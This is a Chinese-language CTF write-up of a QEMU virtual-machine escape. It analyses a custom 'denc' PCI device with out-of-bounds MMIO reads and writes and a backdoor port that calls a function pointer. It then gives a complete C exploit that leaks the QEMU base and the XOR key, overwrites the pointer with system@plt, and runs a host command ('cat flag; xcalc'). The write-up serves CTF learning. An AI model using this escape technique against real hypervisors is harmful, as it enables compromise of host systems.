环境搭建
首先下载题目附件。由于利用方法不受环境影响,没有用 docker 环境。
在 ubuntu18.04 上运行缺少 libncursesw.so.6
,需要安装 libncursesw6
。
sudo apt install libncursesw6
虚拟机密码为 root
漏洞分析 & 利用
设备相关的符号被去除。可以通过搜索 denc-mmio
定位到相关函数。
存在一处花指令,直接去除。
.text:00000000003AA140 E8 00 00 00 00 call $+5
.text:00000000003AA140
.text:00000000003AA145 83 04 24 05 add dword ptr [rsp], 5
.text:00000000003AA149 C3 retn
denc_mmio_write
和 denc_mmio_read
存在越界读写,另外 key
也可以泄露,qemu 地址可以越界读出。
/*
00000000 DencState struc ; (sizeof=0xB48, mappedto_112)
00000000 field_0 db 2808 dup(?)
00000AF8 key db 32 dup(?)
00000B18 field_B18 db 8 dup(?)
00000B20 buf dd 8 dup(?)
00000B40 fun dq ? ; offset
00000B48 DencState ends
*/
unsigned __int64 __fastcall denc_mmio_read(DencState *opaque, unsigned __int64 addr, int size)
{
unsigned __int64 result; // rax
if ( size != 4 )
return -1LL;
result = addr & 3;
if ( (addr & 3) != 0 )
return -1LL;
if ( addr <= 0x24 )
return opaque->buf[addr >> 2];
return result;
}
unsigned __int64 __fastcall denc_mmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
unsigned __int64 result; // rax
result = (unsigned __int64)opaque;
if ( size == 4 )
{
result = addr & 3;
if ( (addr & 3) == 0 && addr <= 0x24 )
{
result = val ^ *(_DWORD *)&opaque->key[addr];
opaque->buf[addr >> 2] = result;
}
}
return result;
}
denc_pmio_write
存在后门。
__int64 __fastcall denc_pmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
__int64 result; // rax
result = (__int64)opaque;
if ( size == 4 )
{
result = addr & 3;
if ( (addr & 3) == 0 )
{
if ( addr <= 7 )
{
result = val ^ *(_DWORD *)&opaque->key[4 * addr];
opaque->buf[addr] = result;
}
if ( addr == 0x660 )
return opaque->fun(opaque->buf, 0LL, 0LL);
}
}
return result;
}
exp
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/io.h>
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void *mmio_mem;
void mmio_write(uint32_t offset, uint32_t value) {
*((uint32_t *) mmio_mem + offset) = value;
}
uint32_t mmio_read(uint32_t offset) {
return *((uint32_t *) mmio_mem + offset);
}
void mmio_init() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.🤔");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}
if (mlock(mmio_mem, 0x1000) == -1) {
perror("[-] failed to mlock mmio_mem.");
exit(EXIT_FAILURE);
}
}
uint32_t pmio_mem;
void pmio_write(uint32_t offset, uint32_t value) {
outl(value, pmio_mem + offset);
}
uint32_t pmio_read(uint32_t offset) {
return inl(pmio_mem + offset);
}
void pmio_init() {
if (iopl(3) == -1) {
perror("[-] iopl failed.");
exit(EXIT_FAILURE);
}
FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
printf("[*] pmio_mem: %p\n", pmio_mem);
}
char cmd[0x20] = "cat flag; xcalc";
int main() {
mmio_init();
pmio_init();
size_t leak_addr = mmio_read(8) | (1ll * mmio_read(9) << 32);
printf("[+] leak addr: %p\n", leak_addr);
size_t elf_base = leak_addr - 0x3a9ea8;
printf("[*] elf base: %p\n", elf_base);
size_t system_plt = elf_base + 0x2ccb60;
printf("[*] system@plt addr: %p\n", system_plt);
uint32_t key[10];
for (int i = 0; i < 10; i++) {
mmio_write(i, 0);
key[i] = mmio_read(i);
}
qword_dump("leak key", key, sizeof(key));
for (int i = 0; i < strlen(cmd); i += 4) {
mmio_write(i / 4, (*(uint32_t *) &cmd[i]) ^ key[i / 4]);
}
mmio_write(8, (system_plt & 0xFFFFFFFF) ^ key[8]);
mmio_write(9, (system_plt >> 32) ^ key[9]);
pmio_write(0x660, 0x114514);
return 0;
}